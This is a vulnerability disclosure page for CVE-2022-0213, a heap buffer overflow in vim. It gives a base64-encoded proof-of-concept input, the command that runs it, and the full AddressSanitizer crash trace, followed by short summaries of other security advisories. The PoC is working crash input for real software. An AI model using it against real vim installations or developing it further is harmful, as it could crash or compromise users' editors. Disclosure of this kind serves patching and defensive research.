Headline
CVE-2022-0213: Heap-based Buffer Overflow in vim
vim is vulnerable to Heap-based Buffer Overflow
Description
A Heap-based Buffer Overflow has been found in vim commit 3cf21b3
Proof of Concept
base64 poc
ZggwMDAwMDAwMDAwMDAwMDAwMBkwMDAwCmYIMDAwMDAwMCUlJSUlJSUlJSUlMDAwMDD8CmUlJSUl
JSUlJSUlJSUlJQp2cwp2MP8wbwo=
~/fuzzing/vim/vim/src/vim -u NONE -X -Z -e -s -S ./poc -c :qa!
ASan stack trace:
=================================================================
==1771749==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100000c500 at pc 0x000000430759 bp 0x7fff2b54f4d0 sp 0x7fff2b54ec90
READ of size 1 at 0x62100000c500 thread T0
#0 0x430758 in strlen (/home/aidai/fuzzing/vim/vim/src/vim+0x430758)
#1 0x5dfe7d in win_redr_status /home/aidai/fuzzing/vim/vim/src/drawscreen.c:496:18
#2 0x5e6c60 in redraw_statuslines /home/aidai/fuzzing/vim/vim/src/drawscreen.c:3243:6
#3 0xf70031 in main_loop /home/aidai/fuzzing/vim/vim/src/main.c:1401:6
#4 0x707866 in do_exedit /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:6967:3
#5 0x715673 in ex_open /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:6902:5
#6 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2573:2
#7 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:993:17
#8 0x6cf415 in global_exe_one /home/aidai/fuzzing/vim/vim/src/ex_cmds.c
#9 0x6cf87e in global_exe /home/aidai/fuzzing/vim/vim/src/ex_cmds.c:5045:2
#10 0x6cecac in ex_global /home/aidai/fuzzing/vim/vim/src/ex_cmds.c:5006:6
#11 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2573:2
#12 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:993:17
#13 0xb6bec7 in do_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:1511:5
#14 0xb6a05f in cmd_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:1098:14
#15 0x6e9395 in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2573:2
#16 0x6dc217 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:993:17
#17 0xf6d3b3 in exe_commands /home/aidai/fuzzing/vim/vim/src/main.c:3084:2
#18 0xf6d3b3 in vim_main2 /home/aidai/fuzzing/vim/vim/src/main.c:774:2
#19 0xf69bdf in main /home/aidai/fuzzing/vim/vim/src/main.c:426:12
#20 0x7f8ccafc20b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#21 0x41db2d in _start (/home/aidai/fuzzing/vim/vim/src/vim+0x41db2d)
0x62100000c500 is located 0 bytes to the right of 4096-byte region [0x62100000b500,0x62100000c500)
allocated by thread T0 here:
#0 0x49626d in malloc (/home/aidai/fuzzing/vim/vim/src/vim+0x49626d)
#1 0x4c5d75 in lalloc /home/aidai/fuzzing/vim/vim/src/alloc.c:248:11
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aidai/fuzzing/vim/vim/src/vim+0x430758) in strlen
Shadow bytes around the buggy address:
0x0c427fff9850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff9860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff9870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff9880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff9890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff98a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff98b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff98c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff98d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff98e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff98f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1771749==ABORTINGRelated news
Ubuntu Security Notice 6026-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. This issue only affected Ubuntu 20.04 LTS. It was discovered that Vim was using freed memory when dealing with regular expressions inside a visual selection. If a user were tricked into opening a specially crafted file, an attacker could crash the application, leading to a denial of service, or possibly achieve code execution with user privileges. This issue only affected Ubuntu 14.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.
Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.
Dell VxRail, versions prior to 7.0.410, contain a Container Escape Vulnerability. A local high-privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the container's underlying OS. Exploitation may lead to a system take over by an attacker.
Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]
Gentoo Linux Security Advisory 202208-32 - Multiple vulnerabilities have been discovered in Vim, the worst of which could result in denial of service. Versions less than 9.0.0060 are affected.
Ubuntu Security Notice 5458-1 - It was discovered that Vim was incorrectly handling virtual column position operations, which could result in an out-of-bounds read. An attacker could possibly use this issue to expose sensitive information. It was discovered that Vim was not properly performing bounds checks when updating windows present on a screen, which could result in a heap buffer overflow. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code.